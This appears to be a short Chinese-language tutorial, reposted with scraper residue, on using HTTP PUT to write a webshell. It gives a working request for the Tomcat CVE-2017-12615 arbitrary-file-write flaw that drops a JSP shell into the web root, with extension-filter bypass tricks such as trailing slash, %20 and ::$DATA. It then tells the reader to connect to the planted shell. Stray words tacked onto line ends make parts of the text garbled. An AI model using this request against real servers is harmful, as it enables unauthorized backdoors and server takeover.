PUT方法寫shell

前言:

PUT是http的一個請求方法shell

PUT的前提,是瞭解HTTP協議。下面給出HTTP - PUT的一個模板:app

PUT /test.txt HTTP/1.1
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
Host: test.com:8080

hello world

發送請求後,訪問.../text.txt將輸出hello worldjsp

要注意以下幾個點:ide

① PUT方法是HTTP 1.1協議中才出現的。url

② HTTP協議對空格敏感,每行數據的結尾不能出現空格spa

③ HTTP頭部和數據中間要空一行,即HTTP頭部是以\r\n\r\n結尾的。code

④ 端口號直接跟在HOST後面orm

Tomcat PUT方法任意寫文件漏洞(CVE-2017-12615)

影響版本:blog

Tomcat版本:8.5.19
Apache Tomcat 7.0.0 - 7.0.79

直接發送如下數據包便可在Web根目錄寫入shell:ip

PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

shell

shell那兒直接寫入jsp的馬,或者其餘語言對應寫對應的馬,請求頭參數可適當的根據實際狀況改動。

雖然Tomcat對文件後綴有必定檢測(不能直接寫jsp),但咱們使用一些文件系統的特性(如Linux下可用/)來繞過了限制:

shell.jsp%20
shell.jsp::$DATA
shell.jsp/

返回響應包的狀態碼爲201說明寫入成功。

而後根目錄跟上寫入的.jsp文件便可訪問。以後連馬。

相關文章
相關標籤/搜索